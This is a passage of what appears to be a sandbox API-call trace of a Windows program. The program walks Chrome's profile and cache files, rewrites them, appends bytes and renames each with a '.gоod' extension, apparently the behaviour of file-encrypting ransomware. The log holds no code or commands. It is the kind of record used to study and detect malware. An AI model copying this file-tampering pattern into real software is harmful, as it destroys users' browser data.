lpFileInformation=0x3649800 | out: lpFileInformation=0x3649800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5221db78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0184.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0184.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal", lpFilePart=0x0) returned 0x4e [0184.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0184.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0184.435] GetFileType (hFile=0x820) returned 0x1 [0184.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0184.435] GetFileType (hFile=0x820) returned 0x1 [0184.435] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0184.435] CloseHandle (hObject=0x820) returned 1 [0184.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal", lpFilePart=0x0) returned 0x4e [0184.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0184.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0184.462] GetFileType (hFile=0x820) returned 0x1 [0184.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0184.462] GetFileType (hFile=0x820) returned 0x1 [0184.462] WriteFile (in: hFile=0x820, lpBuffer=0x36c02f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x36c02f8*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0184.463] CloseHandle (hObject=0x820) returned 1 [0184.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal", lpFilePart=0x0) returned 0x4e [0184.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal.gоod", lpFilePart=0x0) returned 0x53 [0184.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0184.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6a290cbd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0184.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0184.463] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal.gоod")) returned 1 [0184.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0184.464] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpFilePart=0x0) returned 0x43 [0184.464] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.594] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.594] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172faf1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172faf1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0", cAlternateFileName="")) returned 1 [0184.595] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1", cAlternateFileName="")) returned 1 [0184.595] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2", cAlternateFileName="")) returned 1 [0184.595] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x402000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3", cAlternateFileName="")) returned 1 [0184.595] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5172faf1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1 [0184.595] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0184.595] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0184.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0184.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0184.595] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpFilePart=0x0) returned 0x43 [0184.595] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.596] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.596] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172faf1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172faf1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0", cAlternateFileName="")) returned 1 [0184.596] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1", cAlternateFileName="")) returned 1 [0184.596] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2", cAlternateFileName="")) returned 1 [0184.596] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x402000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3", cAlternateFileName="")) returned 1 [0184.596] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5172faf1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1 [0184.596] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5172faf1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 0 [0184.597] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0184.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0184.597] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", lpFilePart=0x0) returned 0x4a [0184.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0184.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), fInfoLevelId=0x0, lpFileInformation=0x360fed0 | out: lpFileInformation=0x360fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172faf1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172faf1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1 [0184.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0184.598] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", lpFilePart=0x0) returned 0x4a [0184.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0184.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0184.598] GetFileType (hFile=0x630) returned 0x1 [0184.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0184.598] GetFileType (hFile=0x630) returned 0x1 [0184.598] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0184.598] ReadFile (in: hFile=0x630, lpBuffer=0x36102d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x36102d8*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0184.600] CloseHandle (hObject=0x630) returned 1 [0184.600] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", lpFilePart=0x0) returned 0x4a [0184.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0184.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0184.600] GetFileType (hFile=0x630) returned 0x1 [0184.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0184.600] GetFileType (hFile=0x630) returned 0x1 [0184.600] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0xb000 [0184.600] WriteFile (in: hFile=0x630, lpBuffer=0x3612f08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x3612f08*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0184.601] CloseHandle (hObject=0x630) returned 1 [0184.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", lpFilePart=0x0) returned 0x4a [0184.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0184.601] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0184.601] GetFileType (hFile=0x630) returned 0x1 [0184.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0184.601] GetFileType (hFile=0x630) returned 0x1 [0184.601] ReadFile (in: hFile=0x630, lpBuffer=0x36151c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x36151c0*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0184.627] CloseHandle (hObject=0x630) returned 1 [0184.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", lpFilePart=0x0) returned 0x4a [0184.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0184.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0184.628] GetFileType (hFile=0x630) returned 0x1 [0184.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0184.628] GetFileType (hFile=0x630) returned 0x1 [0184.628] WriteFile (in: hFile=0x630, lpBuffer=0x3613f20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x3613f20*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0184.628] CloseHandle (hObject=0x630) returned 1 [0184.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", lpFilePart=0x0) returned 0x4a [0184.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.gоod", lpFilePart=0x0) returned 0x4f [0184.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0184.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172faf1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172faf1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6a434699, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb010)) returned 1 [0184.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0184.628] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0.gоod")) returned 1 [0184.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", lpFilePart=0x0) returned 0x4a [0184.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0184.629] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), fInfoLevelId=0x0, lpFileInformation=0x36936b0 | out: lpFileInformation=0x36936b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517321bc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517321bc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa76c10c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x42000)) returned 1 [0184.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0184.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", lpFilePart=0x0) returned 0x4a [0184.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0184.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0184.629] GetFileType (hFile=0x630) returned 0x1 [0184.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0184.629] GetFileType (hFile=0x630) returned 